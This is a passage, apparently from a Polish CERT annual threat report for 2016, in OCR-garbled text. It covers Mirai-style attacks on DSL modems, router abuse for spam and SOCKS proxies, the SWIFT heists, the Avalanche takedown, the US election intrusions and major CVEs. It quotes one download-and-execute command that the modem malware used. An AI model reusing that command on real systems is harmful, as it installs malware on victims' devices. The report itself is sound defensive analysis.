wych do ztosliwych celéw

Podobnie jak w zesztych latach, popularnym
celem dziatanh przestepcédw byty takze trady-
cyjne urzqgdzenia sieciowe (,fradycyjne”
w odrdznieniu od urzgdzeh loT). Byty one
bezpodrednim celem atakdw, stuzyty takze
jako narzedzie wykorzystywane do ztosliwych
celow.

Ataki na modemy DSL

Na przetomie listopada i grudnia 2016 roku
doszto w Europie do serii atakdéw na domowe
modemy DSL. Ich uzytkownicy nie mogli potg-
czy¢ sie z internetem, a same urzqdzenia prze-
stawaty odpowiada¢. Najgtodniejsze ataki,
o ktérych ustyszata opinia publiczna, dotyczy-
ty operatoréw telekomunikacyjnych w Niem-
czech (Deutfsche Telekom) oraz w Wielkiej
Brytanii (KCOMZ, Post Office oraz TalkTalk?').
Najwiecej urzqdzeh zostato zaatakowanych
w Niemczech - ok. 900 tysiecy.

Pierwsza fala atakdw rozpoczeta sie w week-
end 26-27 listopada 2016 roku. Modemy DSL
albo sie wytgczaty, albo nie mogty potgczye
sie z sieciqg operatora. Uniemozliwiato to uzyt-
kownikom korzystanie z internetu. Jak sie péz-
niej okazato, atakowany byt port 7547, ktéry
stuzy do zarzqgdzania urzgdzeniami przy uzyciu
protokotu TR-069%.

Protokoty TR-069 (CPE WAN Management Pro-
tocol - w skrocie CWMP) i TR-064 (LAN-Side DSL
CPE Configuration) zostaty opracowane przez
Broadband Forum, organizacje zrzeszajgcq
m.in. producentdw urzqadzen sieciowych oraz
operatoréw telekomunikacyjnych. Stuzg one
do zdalnego zarzgdzania urzgdzeniami klienc-
kimi przy uzyciu protokotdéw HTTP oraz SOAP,
a w wiekszosci urzadzen ustuga CWMP nastu-
chuje na porcie 7547.

Na poczatku listopada 2016 roku opubliko-
wana zostata informacja o mozliwosci wyko-
rzystania funkcji ,,SetNTPServer” i argumentu
»NewNTPServerl” protokotu TR-064 do wyko-
nywania zdalnych polecehn®. Wskazano, ze
podatnym urzgdzeniem byt modem D1000
irandzkiego dostawcy internetu Eir, ktory byt
rebrandowanym urzqgdzeniem firmy Zyxel.
Niestety, urzgdzenia te nastuchiwaty polecen
protokotu TR-064, ktéry stuzy do ich konfiguracii
od strony sieci lokalnej, na porcie protokotu

20 http://www.theregister.co.uk/2016/12/01/hull_router_at-
tack/

21 http://www.theregister.co.uk/2016/12/02/broadband_
mirai_takedown_analysis/

22 https://arstechnica.com/security/2016/11/notorious-iot-
botnets-weaponize-new-flaw-found-in-millions-of-home-
routers/

23 https://www.exploit-db.com/exploits/40740/
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TR-069 od strony sieci zewnetfrznej (WAN-u)?4.
Opublikowany przy tym modut do narzedzia
Metasploit umozliwia zdalng kradziez haset do
Wi-Fi. | wtaénie ta podatno$¢ byta wykorzysty-
wana w opisywanym ataku.

Prawdopodobnym Zréodtem ataku byt botnet
Mirai o zmodyfikowanym kodzie?. Zainfekowa-
ne urzqgdzenia skanowaty internet w poszuki-
waniu podatnych urzqadzeh. Proces infekcji roz-
poczynat sie poprzez wystanie zqgdania POST
z odpowiednio spreparowanym zgdaniem
ustawienia serwera NTP (serwera ustugi czasu).
Umieszczany byt tam zestaw komend, mo-
jacy za zadanie $ciggniecie pliku binarnego
ze ztosliwym kodem i jego uruchomienie, np.
cd /tmp;wget http://tr069[.]pw/1;chmod 777 1;./1

Wedtug SANS? dostarczane pliki binarne po-
siadaty bardzo podobny kod, ale skompi-
lowany na rézne architektury, co mogtoby
wskazywaé, ze atakowanych byto wiele mo-
deli urzgdzeh. Po infekcji ztosliwe oprogramo-
wanie zamykato dostep do portu zarzgdzania
7547 przez wykorzystanie odpowiedniej reguty
iptables. Jednqg z gtéwnych funkcji bota byto
wyszukiwanie i infekowanie kolejnych urzg-
dzen, podobnie jak w przypadku klasyczne-
go robaka intfernetfowego. Jak podaje serwis
Zaufana Trzecia Strona, oprdécz wykorzysty-
wania podatnosci w przetwarzaniu protokotu
TR-064, ztolliwe oprogramowanie starato sie
postuzy¢ typowq dla Mirai technikg uzyskiwa-
nia dostepu do urzqdzeh przez ustuge Telnet
i standardowe loginy i hasta. Po infekcji takze
ta ustuga byta wytqgczana, by uniemozliwi¢
dostep do urzgdzenia?.

Problemy z urzgdzeniami firmy Speedport
u operatora Deutsche Telekom spowodowa-
ne byty prébg wykorzystania opisanej wyzej
podatnosci w obstudze protokotu TR-064. Efek-
ty odczuto okoto 4-5 proc. klientow firmy?8. W
komunikacie prasowym, powotujgc sie na
Federalne Biuro Bezpieczenstwa Technologii

24 http://www.zyxel.com/support/announcement_ir_064_
protocol.shtml

25 https://securelist.com/blog/incidents/76791/new-wave-of-
mirai-attacking-home-routers/

26 https://isc.sans.edu/forums/diary/TR069+NewNTPServer+-
Exploits+What+we+know+so+far/21763

27 https://zaufanatrzeciastrona.pl/post/bot-podobny-do-
mirai-atakuje-rutery-nowym-bledem-takze-polsce/

28 https://www.telekom.com/en/media/media-information/
archive/information-on-current-problems-444862

Informatycznych (Bundesamt fUr Sicherheit in
der Informationstechnik), Deutsche Telekom
poinformowato, ze atak byt na skale globalng.
Informacja ta moze potwierdza¢ doniesienia
o atakach na urzgdzenia w Polsce opubliko-
wane na portalu Zaufana Trzecia Strona?.
P&Zniejsze doniesienia prasowe poszerzyty liste
celéw o operatoréw brytyjskich: KCOM oraz
Post Office, ktérych urzgdzenia zostaty wypro-
dukowane przez firme Zyxel. Co interesujgce
- atakowane modemy nie zostaty przejete
przez przestepcdw®. Problemy, jakie z nimi wy-
stepowaty, spowodowane byty raczej przez
ilo§¢ ruchu sieciowego, generowanego przez
skanowanie portu 7547 w celu wykorzystania
podatnosci. W takiej perspektywie catod¢ by-
taby faktycznie atakiem (D)DoS.

Inaczej przedstawia sie sprawa z operatorem
TalkTalk. Zostat on zaatakowany ok. 1 grudnia
2016 roku, a celem byty modemy firmy D-Link®'.
Kilka dni pézniej, modemy TalkTalk staty sie zro-
dtem ataku DDoS na klienta firmy Incapsula,
zajmujqgcej sie m.in. ochrong przed fego typu
atakami. Modemy te miaty zablokowany port
7547, co teoretycznie mogtoby wykluczac¢
podatno$¢ na ataki na protokdt TR-064. Nie-
mniej, po wykorzystaniu skanera Shodan, oka-
zato sie, ze atakujgce urzgdzenia jeszcze kilka
dni wczesniej miaty ten port otwarty. Cato$é
z duzym prawdopodobienstwem moze wska-
zywad, ze zostaty zainfekowane pewnq wersjg
Mirai. Nie jest do kohca pewne, czy przejete
zostaty tylko modemy u operatora TalkTalk.
Wedtug brytyjskiej firmy Pen Test Partners prze-
jeto zaréwno urzgdzenia TalkTalk, jak i Post Of-
fice2. Niestety, obecnie jest juz frudno zweryfi-
kowac te informacje.

Trudno takze oszacowacd liczbe urzgdzen,
ktére mogty by¢ celem opisywanego ato-
ku. Wedtug Darrena Martyna, eksperta
w XIPHOS Research Limited, liczba podatnych
modeli urzgdzehn mogta by¢ wieksza niz 100,
a sktadaty sie na nig produkty ponad 20

29 https://zaufanatrzeciastrona.pl/post/bot-podobny-do-
mirai-atakuje-rutery-nowym-bledem-takze-polsce/

30 https://comsecuris.com/blog/posts/were_900k_deutsche_
telekom_routers_compromised_by_mirai/

31 http://www.theregister.co.uk/2016/12/02/broadband_
mirai_takedown_analysis/

32 https://www.pentestpartners.com/blog/ir-064-worm-its-
not-mirai-and-the-outages-are-interesting/
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producentéw®. W trakcie ataku, wedtug
Shodan, nawet 40 miliondw urzgdzeh miato
otwarty port 7547%. 7 kolei serwis Zaufana Trze-
cia Strona poddaje, ze w czasie ataku ponad 65
tysiecy urzgdzeh w Polsce takze miato otwarty
ten port oraz uruchomiong ustuge RomPager.
Ten szacunek wydaje sie by¢ bardziej praw-
dopodobny, poniewaz RomPager jest popu-
larnym oprogramowaniem webserwerowym,
uzywanym do tworzenia systemdw zarzgdzo-
nia domowymi urzgdzeniami sieciowymi. Nie
oznacza to jednak, ze wtasnie taka byta liczba
podatnych urzgdzen. W rzeczywisto$ci mogta
ona by¢ inna ze wzgledu na dynamiczng ad-
resacje, oraz z uwagi na konieczno$¢ wystg-
pienia dwdch warunkdw ataku: mozliwosci
skorzystania z portu 7547 (operatorzy mogli
je blokowa¢) i wadliwego oprogramowanica
urzgdzen.

Spam z routeréw

W 2016 roku zauwazylismy takze wzrost innego
sposobu wykorzystania urzgdzeh sieciowych
do ztodliwych celéw. W czasie analizy wiado-
mosci spamowych okazywato sie, ze coraz
czesciej ich zréodtem sqg roznego rodzaju urzg-
dzenia sieciowe. Wiekszos¢ z nich posiada ta-
twe do odgadniecia lub standardowe hasta
do kont administracyjnych. Przestepcy uzyski-
wali do nich dostep przez interfejs webowy,
ale takze ustugi Telnet czy SSH. Po przejeciu
kontroli nad urzgdzeniami, byty one uzywane
do rozsytania wiadomosci. Utrudnia to znacz-
nie odnalezienie rzeczywistego zrodta spamu.
Wiekszo$¢ z wysytanych wiadomosci zawie-
rata oferty zarobku na opcjach binarnych,
w ktérych najczesciej znajdowaty sie odnosni-
ki do podejrzanych stron. Nalezy zaznaczyé,
ze Polska nie jest jedynym krajem ofrzymuja-
cym taki spam. W podobny sposéb przejete
urzgdzenia znajdujqg sie w wielu miejscach na
Swiecie.

33 https://www linkedin.com/pulse/tr-064-when-shoddy-im-
plementations-come-back-haunt-you-darren-martyn2irk=hp-
feed-article-title-like

34 https://isc.sans.edu/forums/diary/TR069+NewNTPServer+-
Exploits+What+we+know+so+far/21763

Wykorzystywanie routerdw jako
SOCKS Proxy

W wyniku réznych dziatah przestepcy przej-
mujg kontrole nad urzgdzeniami sieciowymi
nalezgcymi do osdb prywatnych. Przyktadem
moze by¢ robak ,Moon”, ktéry w 2014 roku
infekowat urzadzenia firmy Linksys, wyko-
rzystujgc luke w ich oprogramowaniu®. Na
takich urzgdzeniach czesto instalowane jest
oprogramowanie, ktére uruchamia ustuge
SOCKS Proxy, stuzgcg do posredniczenia
ruchu. Przestepcy chetnie z niej korzystajq
w celu zamaskowania zrédta ruchu sieciowe-
go, a tym samym swojej lokalizacji. Dostep do
tak zmodyfikowanych urzgdzenh sprzedawany
jest na wyspecjalizowanych portalach (rys. 6).

Opisany powyzej problem nie jest nowy, jed-
nak w 2016 roku obserwowalismy jego kolejng
odstone. Przestepcy coraz czeéciej wykorzystu-
ja routery z ustugg SOCKS Proxy do tgczenia

35 http://www.computerworld.com/article/2487791/mal-
ware-vulnerabilities/-the-moon--worm-infects-linksys-routers.
html

fot. pixabay.com
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Rys. 6. Zrzut ekranu przedstawiajgcy dostepne routery z SOCKS Proxy

sie do portali bankowych, aby w bezpieczny
dla nich sposdb wykonywac przelewy fraudo-
we. Gtownym powodem zmiany taktyki jest
postepujgca  nieskutecznos¢  dotychczaso-
wych rozwigzah maskujgcych lokalizacje. Jest
juz prawie regutq, ze banki monitorujg adresy
IP, z ktérych klienci korzystajq z ich ustug. Zo-
tem wystgpienie adresu wezta wyjsciowego
(exit node) sieci Tor moze spowodowad, ze zle-

cane transakcje bedqg doktadniej sprawdza-
ne. Podobnie jest z wykorzystaniem sieci VPN.
W takich okoliczno$ciach, by zmniejszy¢ szan-
se na wykrycie nielegalnej fransakcji, przestep-
cy tqczqg sie z uzyciem opisanych powyzej ro-
uteréw z SOCKS Proxy. Dla banku ich adresy IP
nie nalezg do listy podejrzanych, cho¢ oczy-
wiscie takze i takie adresy mozna na tej liscie
umiescic.
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Ataki z wykorzystaniem systemu
bankowego SWIFT

SWIFT, czyli Society for Worldwide Interbank Fi-
nancial Telecommunication, zostat utworzony
w latach 70. XX wieku. Jego siedziba miesci sie
w Belgii. SWIFT zrzesza ponad 11 000 bankéw
i innych organizméw wymieniajgcych $rodki
pieniezne z ponad 200 krajéw na $wiecie. Two-
rzqc infrastrukture do bezpiecznej wymiany
wiadomosci, SWIFT umotzliwia przesytanie pie-
niedzy miedzy bankami w réznych czesciach
Swiata.

Banki uczestniczgce w systemie SWIFT sq od-
powiedzialne za implementacje i utrzymanie
odpowiednich interfejséw stuzgcych do wy-
miany wiadomosci miedzybankowych zwig-
zanych z operacjami finansowymi fakimi jak
zlecenie przelewu. Wtaénie te mechanizmy zo-
staty wykorzystane przez przestepcédw, ktdérym
udato sie z sieci wewnetrznych kilku bankdow
w réznych czeéciach $wiata wprowadzi¢ do
systemu SWIFT nieautoryzowane tfransakcje,
za pomocq ktérych usitowano ukrasc tgcznie
ponad miliard dolardw amerykanskich. Z tego
transakcje na blisko 100 miliondw USD zakoh-
czyty sie sukcesem.

Pierwszym wykrytym atakiem byto wtamao-
nie do banku centralnego w Bangladeszu.
5 lutego 2016 podejrzenia pracownikéw wzbu-
dzit brak drukowanych potwierdzen serii trans-
akcji wykonanych przez SWIFT w poprzednim
dniu. W wyniku $Sledztwa wykryto kilkkadziesigt
dyspozycji, opiewajgcych na tgczng kwote
prawie miliarda dolarédw USA, ktére nie miaty
pokrycia w rzeczywistych zleceniach po stro-
nie banku. Srodki miaty trafi¢ na rachunki na Fi-
lipinach i Sri Lance. Prawie wszystkie pieniqdze
zostaty zatrzymane lub odzyskane, cho¢ czesc
z nich wytgcznie w wyniku szczesliwego zbiegu
okolicznoici - podejrzenia wzbudzity literéwki w
nazwach odbiorcéw. 81 miliondw USD, ktérych
nie udato sie zabezpieczyd, trafito do kasyn na
Filipinach.

Po wykryciu incydentu w Bangladeszu §lady
podobnej dziatalnosci, pochodzgce jeszcze
z 2015 roku, wykryto takze w wiethamskim
banku Tien Phong* oraz ekwadorskim Banco

36 http://www.reuters.com/article/us-vietham-cyber-
crime-idUSKCNOY60EN

del Austro. W pierwszym z bankdw nie doszto
do kradziezy, natomiast w drugim straty wynio-
sty 12 milionédw USD¥. W maju podobny incy-
dent wykryto w banku filipinskim?®.

Analiza ztosliwego oprogramowania wykorzy-
stanego przez przestepcdw® wskazuje, ze znali
oni bardzo dobrze zasady dziatania SWIFT,
wykorzystywane w komunikacji oprogramo-
wanie, a takze procedury operacyjne wdrozo-
ne w bankach. Poza samg ingerencjg w liste
przelewdw, malware miat takze zacierac Slady
swojej dziatalnosci. Jednym ze sposobdw byto
usuwanie informacji o podstawionych transak-
cjach z raportdow SWIFT przed przestaniem ich
do drukarki, po czym nadpisywanie wydruko-
wanych plikdbw zerami i usuwanie ich.

Aby ingerencja w liste zleceh SWIFT byta
w ogdle mozliwa, przestepcy musieli wczedniej
uzyska¢ dostep do systemdw wewnetrznych
bankdw, z ktérych operacje takie byto moz-
liwe. Najbardziej prawdopodobnym scena-
riuszem jest wykorzystanie w tym celu spear-
phishingu skierowanego do osdb z dostepem
do takich systemow.

Czes¢ badaczy przypisuje odpowiedzialno$¢ za
opisane ataki grupie Lazarus, ktéra przeprowa-
dzita m.in. ataki na Sony Pictures w 2015 roku.
Przestankg do tego ma by¢ miedzy innymi po-
dobienstwo kodu w ztodliwym oprogramowa-
niu wykorzystywanym w obu przypadkach®.

Avalanche

30 listopada 2016, po ponad czterolethim do-
chodzeniu, zakohczyta sie operacja unieszkod-
liwienia przestepczej infrastruktury komputero-
wej okreflane] jako ,Avalanche”. W dziato-
nia zaangazowane byty stuzby USA, Europol,
Interpol, Eurojust, a takze wielu partneréw
(Shadowserver Foundation, ICANN i inni).
Dokonano 5 aresztowan, skonfiskowano 39
serwerdw stuzqgcych utrzymaniu infrastruktury,
a 221 wytgczono we wspdtpracy z odpowied-
nimi dostawcami ustug. Blisko 800 000 domen

37 http://www.reuters.com/article/us-cyber-heist-swift-spe-
cialreport-idUSKCNOYBODD

38 https://www.symantec.com/connect/blogs/swift-attack-
ers-malware-linked-more-financial-attacks

39 http://baesystemsai.blogspot.com/2016/04/two-bytes-to-
951Tm.html

40 http://baesystemsai.blogspot.com/2016/05/cyber-heist-at-
fribution.html
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zostato wytgczonych bqdz? przejetych, a ruch
pochodzgcy od zainfekowanych uzytkow-
nikdw skierowano na kontrolowane serwery.
Zasieg dziatania grupy to 180 panstw. O skali
zjawiska moze Swiadczy¢ liczba zainfekowa-
nych maszyn - dziennie okoto 500 000 urzg-
dzen (stan na styczen 2017 r.) prébuje tqczyc
sie w celu pobrania rozkazdw z przejetych ser-
werdw.

Poczatki dziatania sieci Avalanche datowa-
ne sg na 2009 rok. To wtasnie wtedy przy jego
uzyciu przeprowadzono pierwsze kampanie
dystrybuujgce szkodliwy spam. Juz wtedy
Avalanche miat mozliwos¢ wysytania miliona

przedstawiono rozmiary botnetédw w polskiej
przestrzeni adresowej na podstawie liczby
zarejestrowanych potqczen do sinkhole'owa-
nego konfrolera. Infrastruktura Avalanche
oparta byta o technike tzw. double fast flux,
co znaczgco utrudniato dziatania organom
scigania. Dystrybucja srodkdw pochodzgcych
z przestepstw odbywata sie za posrednictwem
wyjatkowo sprawnie zorganizowanej siatki
,Mmutdw”, nabywajgcych towary w celu wy-
prania pieniedzy. Niemiecki Federalny Urzad
Bezpieczenstwa Technik Informacyjnych (BSI)
i dziatajacy w jego strukturach CERT-Bund pro-
wadzi akcje majgcg na celu dotarcie do zo-
infekowanych uzytkownikéw. Jest to mozliwe

Nymaim
Tinba
bolek
xswkit
Rovnix

Andromeda
Pandabanker
Matsnu
Marcher
Zeus
Ranbyus
Teslacrypt

Urlzone

701
577
401
202
41
26
10

Tabela 7. Rozmiary botnetédw w Polsce wykorzystujgcych Avalanche

wiadomosci tygodniowo. W zwigzku z liczny-
mi  przypadkami
a takze atakami ztodliwego oprogramowa-
nia wykradajgcego dane uwierzytelniojgce
ofiar, w 2012 roku w Niemczech, rozpocze-
to Sledztwo w tej sprawie. Rodziny malwa-
re'u zwigzanego z Avalanche byty dedyko-
wane urzqgdzeniom z systfemem Windows.
W dystrybuowanych przez grupe kampo-
niach zidentyfikowano dwadzie$cia réznych
typdw ztosliwego oprogramowania. W tabeli 7

infekcji ransomeware’'em,

poprzez zastosowang technike sinkhole’owa-
nia oraz monitorowania potqgczeh do prze-
jetych serweréw C&C. CERT Polska systema-
tycznie monitoruje wskaznik zainfekowanych
maszyn, a takze skuteczno$¢ wdrazania dzio-
tan naprawczych przez uzytkownikdw. Poniz-
sze statystyki dla polskiej przestrzeni adresowe;j
zostaty opracowane na podstawie informacii
dostarczonych przez CERT-Bund i obejmujg
okres od 3.12.2016 do 31.12.2016.
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1 5617 Orange 1050
2 8374 Polkomtel 383
3 12741 Netia 235
4 39603 P4 201
s o tmomd g
6 12912 T-MOBILE 151
7 29314 VECTRA 96
8 21021 Multimedia 93
9 13110 INEA 32
10 201019 P4 30

Tabela 8. Liczba botéw wykorzystujgcych Avalanche w podziale na polskie systemy autonomiczne

Wybory w Stanach Zjednoczonych

W 2016 roku w Stanach Zjednoczonych odby-
ty sie wybory prezydenckie. Rywalizacji Demo-
kratéw i Republikanéw towarzyszyty incydenty
teleinformatyczne, ktére wydajq sie istotne
z punktu widzenia globalnego bezpieczehstwa.

7 pazdzieika 2016 Departament Bezpie-
czehstwa Krajowego (DHS) razem z Biurem
Dyrektora Wywiadu Narodowego (DNI) w Sta-
nach Zjednoczonych opublikowaty wspdine
o$wiadczenie w sprawie bezpieczenstwa infor-
macyjnego minionych wyboréw*'. Amerykan-
ska Wspdlnota Wywiaddw (USIC) odnosi sie
w nim do problemu skompromitowanej poczty
e-mail nalezgcej do amerykanhskich obywateli
oraz instytucii, w tym takze oséb powigzanych
z politycznym establishmentem. Dokument po-
rusza problem rzekomo wykradzionych wiado-
moésci,ich publikacjiw serwisach DCLeaks.com,
WikiLeaks, a takze dziatalnosci aktora o pseu-
donimie Guccifer 2.0. W dokumencie jasno
wskazano, ze dziatania te przeprowadzo-
no w celu zaktdcenia procesu wyborczego.
Z o$wiadczenia DHS i DNI wynika takze, ze
w niektérych stanach odnotowano przypadki
skanowania oraz préby nieautoryzowanego
dostepu do systemdw powigzanych z wybora-
mi. Powyzsze dziatania, w wiekszosci opisane
jako pochodzqgce z serwerdw obstugiwanych

41 https://www.us-cert.gov/security-publications/GRIZ-
ZLY-STEPPE-Russian-Malicious-Cyber-Activity

Liczba domen,

2464
797
580 Liczba rodzajéw
malware
395
357 ;
Liczba systemow
autonomicznych
291 z przynajmniej jednym
192 zainfekowanym urzqdzeniem
179
75 Liczba tqaczqcych sie
unikalnych IP
76

w ramach jednego podmiotu, sq atrybuowa-
ne duzo stabiej niz te, o ktérych mowa w pierw-
szej czesci dokumentu. USIC i DHS szacujqg,
ze z uwagi na skomplikowany i zdecentra-
lizowany system wyborczy obowiqzujgcy w
Stanach Zjednoczonych, ingerencja w wyniki
wyboréw oparta na bezposrednim ataku na
systemy komputerowe bytaby niezwykle frud-
na. Po pierwsze: system wyborczy posiada licz-
ne zabezpieczenia na poziomach lokalnych
i stanowych, a dodatkowo maszyny do gtoso-
wania nie sq podtgczone do internetu®z.

29 grudnia 2016 $wiatto dzienne ujrzat wspdl-
ny raport przygotowany przez DHS oraz FBI
(aktualna wersja posiada  sygnature JAR-
16-20296A). Dokument opisuje narzedzia
i infrastruktury wykorzystane przy nieautoryzo-
wanych dostepach do komputerdw i sieci po-
wigzanych z wyborami oraz instytucjami ame-
rykanskiego sektora rzgdowego, politycznego
i prywatnego. Dziatania te zostaty sklasyfikowa-
ne przez amerykanski rzad pod nazwg GRIZZLY
STEPPE (10 lutego 2017 opublikowana zostata
ich rozszerzona analiza®). W raporcie znalazty
sie informacje o dwdch grupach, ktére mo-
gty przyczynic¢ sie do przeprowadzenia ataku.

42 https://www.dhs.gov/news/2016/10/07 /joint-statement-de-
partment-homeland-security-and-office-director-national

43 https://www.us-cert.gov/sites/default/files/publications/AR-
17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf

do ktérych taczyly sie zainfe-
kowane maszyny
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Pierwsza grupa, okreslona joko APT29, przepro-
wadzita dziatania operacyjne latem 2015 roku.
Druga grupa, APT28, wiosng 2016 roku. APT29
postuzyta sie zawierajgcq ztodliwy link kampa-
nig spearphishingowq skierowang do ponad
1 000 odbiorcéw, w tym takze do adresatéw
sektora rzgdowego. Do hostowania ztolliwe-
go oprogramowania i wysytania spreparowa-
nych wiadomosci wykorzystano wiarygodnie
wyglgdajgce domeny. Wynikiem tych dziatan
byto skuteczne skompromitowanie systemow
Partii Demokratycznej. Atakujgcy dostarczyt
do nich ztodliwe oprogramowanie, ustanowit
staty dostep, a w kohcu korzystajac z szyfro-
wanego kanatu komunikacji, niezauwazenie
przestat zawarto$¢ korespondenciji z poszcze-
gdlnych kont. Wiosng 2016 roku druga grupa
dokonata ataku na te samg partie polityczng,
réwniez wykorzystujgc do tego spearphishing.
Tym razem wiadomosci prowadzity ofiare do
procesu zmiany hasta poprzez fatszywy ser-
wis webmailowy hostowany na infrastrukturze
kontrolowanej przez atakujgcych. Uzycie zdo-
bytych poswiadczen umoZliwito atakujgcym
dostep do prawdziwego systemu i prawdopo-
dobng kradziez danych od wielu wysoko po-
stawionych cztonkdw partii. Rzgd Standw Zjed-
noczonych uwaza, ze informacje te wyciekty
na zewnatrz i zostaty publicznie ujawnione*.

Do raportu JAR-16-20296A dotgczone zostaty
wskazniki infekcji (loC). 30 grudnia 2016 ukaza-
ta sie przeprowadzona przez firme Wordfence
analiza techniczna, ktéra przyglgda sie zawar-
tym tam podejrzanym adresom IP, jak rowniez
funkcjonalnoici zidentyfikowanego na pod-
stawie zawartej w raporcie reguty Yara kodu
PHP. Stanowi on powszechnie dostepny w sieci
webshell (P.AS. w wersji 3.1.0). Z 876 przeana-
lizowanych adreséw IP, ok 15 proc. wskazuje
na wyjsciowe wezty sieci TOR, za$ pozostate
adresy pochodzq z wielu krajéw i od réznych
ISP. Z podsumowania catosci analizy wynika,
ze udostepnione przez DHS adresy IP mogqg
reprezentowac wielu ztodliwych aktoréw, a co
za tym idzie, trudno jest powiqzaé je z konkret-
ng grupq przestepczq. Z kolei zidentyfikowany

44 https://www.us-cert.gov/sites/default/files/publications/
JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf

kod PHP jest dosy¢ stary, stanowi ogdinodo-
stepny webshell i moze stanowi¢ o kompromi-
tacji dowolnego serwisu w sieci Web*.

Niektére z cytowanych przez nas materiatéw,
atakze szereg ogdlnodostepnych serwiséw, jak
SecureWorks*#, czy The Intercept*, podejmu-
je problematyke atrybucji opisanych atakdw.
Nalezy jednak pamietaé, ze z uwagi na spe-
cyfike materiatu cyfrowego, odnalezione in-
formacje mogaqg nierzadko okazac sie jedynie
poszlakami, czasami intencjonalnie pozosta-
wionymi przez przestepcdw, w celu zwrdcenia
uwagi na kogos innego (zob. projekt Cyber-
ROAD).

Najwazniejsze podatnosci zidentyfikowa-
ne w 2016 roku

W roku 2016 nastgpito wykrycie wielu krytycz-
nych podatnosci zarbwno w oprogramowaniu
klienckim jak i serwerowym. Cze$¢ z nich byta
wykorzystywana w ukierunkowanych atakach
o motywacji politycznej lub szpiegowskiej. Po-
nizej przedstawione zostaty najwazniejsze, na-
szym zdaniem, przyktady takich problemdw.

Dirty Cow (CVE-2016-5195)

Dirty Cow byto jednq z najpopularniejszych luk
2016 roku. Sytuacja wyscigu (Race Condition)
w mechanizmie Copy-On-Write (COW) jadra
GNU/Linux umozliwiata atakujgcemu zmia-
ne uprawnieh pamieci (z odczytu na zapis)
i w konsekwencji podwyzszenie uprawnien lo-
kalnego uzytkownika.

Podatnoscig, znaleziong przez Phila Oeste-
ra, objete byty wszystkie systemy operacyjne
oparte o jgdro Linuksa, w tym rowniez Android
- co dawato mozliwos¢ uzyskania uprawnieh
konta root na urzgdzeniu.

Od momentu wprowadzenia btedu do stabil-
nej wersji jadra (wersja 2.6.22) do jego odkry-
cia mineto az 9 lat (Wrzesieh 2007 -> Pazdzier-
nik 2016). Ciekawostkq jest to, ze Linus Torvalds

45 https://www.wordfence.com/blog/2016/12/russia-mal-
ware-ip-hack/

46 https://www.secureworks.com/research/threat-group-
4127-targets-hillary-clinton-presidential-campaign

47 https://www.secureworks.com/research/threat-group-
4127-targets-google-accounts

48 https://theintercept.com/2016/12/14/heres-the-public-evi-
dence-russia-hacked-the-dnc-its-not-enough/
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préobowat naprawi¢ ten btgd w 2005 roku
w wersji festowej jadra, lecz bez powodzenia®.

MySQL Priv Escal / RCE (CVE-2016-6662)

Btgd odkryty przez Dawida Goluhskiego
w MySQL (wersje 5.7, 5.6, 5.5) pozwalajgcy na
zdalne wstrzykniecie ustawien do pliku konfi-
guracyjnego, co w konsekwencji umozliwia
wykonanie kodu lub podniesienie uprawnieh.
Napastnik, w zaleznosci od scenariusza, moze
wykorzysta¢ go na dwa niezalezne sposoby:

e Dopisa¢ dodatkowe ustawienia do ak-
tualnie wykorzystywanej konfiguracji MySQL
na systemach z btednie skonfigurowanymi
uprawnieniomi (wtascicielem konfiguraciji/
posiada prawa do zapisu uzytkownik mysql)

e Stworzy¢ nowy plik konfiguracyjny w katalo-
gu z danymi MySQL (uzytkownik mysdql
domyslnie posiada prawa do zapisu). Osig-
gniecie tego rezultatu jest réwniez mozliwe
za pomocqg podatnosci CVE-2016-6663
odkrytej przez Goluhskiego.

Atakujgcy moze podac Sciezke do niezau-
fanej biblioteki w pliku konfiguracyjnym, co
spowoduje uruchomienie jej z uprawnieniami
roota w momencie ponownego uruchomienia
serwera MySQL.

Tor Browser / Firefox RCE (CVE-2016-9079)

Pod koniec listopada, tajemnicza osoba
opublikowata na bug frackerze projektu Tor
exploita rzekomo znalezionego w interne-
cie®. Opublikowany kod uruchamiat sie tylko
w przypadku korzystania z Tor Browser, aczkol-
wiek dziatat tez w Morzilli Firefox w wersjach od
41 do 50 (systemy Windows oraz Mac OS X).

Ztosliwy kod, dostarczony jako JavaScript, byt
w stanie skutecznie obej$¢ zabezpieczenia pa-
kietu Microsoft Enhanced Mitigation Experien-
ce Toolkit (EMET) poprzez korzystanie z tablicy
importow biblioteki XUL.dII - ktéra nie jest chro-
niona przez ten zestaw narzedzi.

49 http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/
commit/2id=4ceb5db9757aaeadcf8fbbf97d7ébd42aa4d-
fodé

50 https://lists.torproject.org/pipermail/tor-talk/2016-Novem-
ber/042639.html

Exploit wykorzystuje podatno$¢ Use-After-Free
w parserze plikdw SVG. Shellcode jest zblizony
do kodu uzytego w 2013 podczas ataku FBI na
uzytkownikdw Freedom Hosting (namierzenie
adreséw IP uzytkownikéw stron z pornografiq
dzieciecq)®'. W tym przypadku odwotywat sie
on do adresu IP: 5.39.27.226 i jego zadaniem
byta, tak samo jaok 3 lata temu, identyfikacja
uzytkownika - pobranie nazwy komputera, ad-
resu MAC karty sieciowej oraz IP.

Cisco ASA — EXTRABACON (CVE-2016-6366)/
EPICBANANA (CVE-2016-6367)

Dwie podatnosci 0-day ujawnione jako przed-
smak licytacji paczki narzedzi NSA (tzw. Equ-
ation Group - prawdopodobnie zespdt Tailo-
red Access Operations®?), wykradzionych przez
grupe The Shadow Brokers. Aukcja polegata
na przelewaniu BitCoindw na kontrolowany
przez hakeréw portfel (adres: 19BY2XCgbDe-
SWITVbTyzZM9PeR3LYréVitWK®). Uczestnik, ktdry
wptaci najwiekszqg ilos¢ wirtualnej waluty, ma
otrzymac¢ hasto do zaszyfrowanego archiwum.

W momencie pisania raportu w portfelu znagj-
dowato sie okoto 10.35 BTC. Licytacja oficjal-
nie nie zostata zakohczona, wiec nie wiadomo
czy hasto zostato przekazane. Grupa zadekla-
rowata, ze jezeli suma wptat przekroczy milion
BTC (okoto 4 miliardy ztotych) to upubliczni
wiecej exploitdw autorstwa NSA.

Pierwszy exploit (nazwa kodowa: EXTRABA-
CON; CVE-2016-6366) wykorzystywat prze-
petnienie bufora w komponencie odpo-
wiedzialnym za obstuge protokotu SNMP
w urzgdzeniach firmy Cisco stuzgcych jako
zapory ogniowe oraz serwery VPN: serie ASA,
ASAv, Firepower, FWSM, ISA oraz PIX%.

Kod opracowany byt na urzgdzenia w wersji
8.x, lecz badaczom z firmy SilentSignal udo-
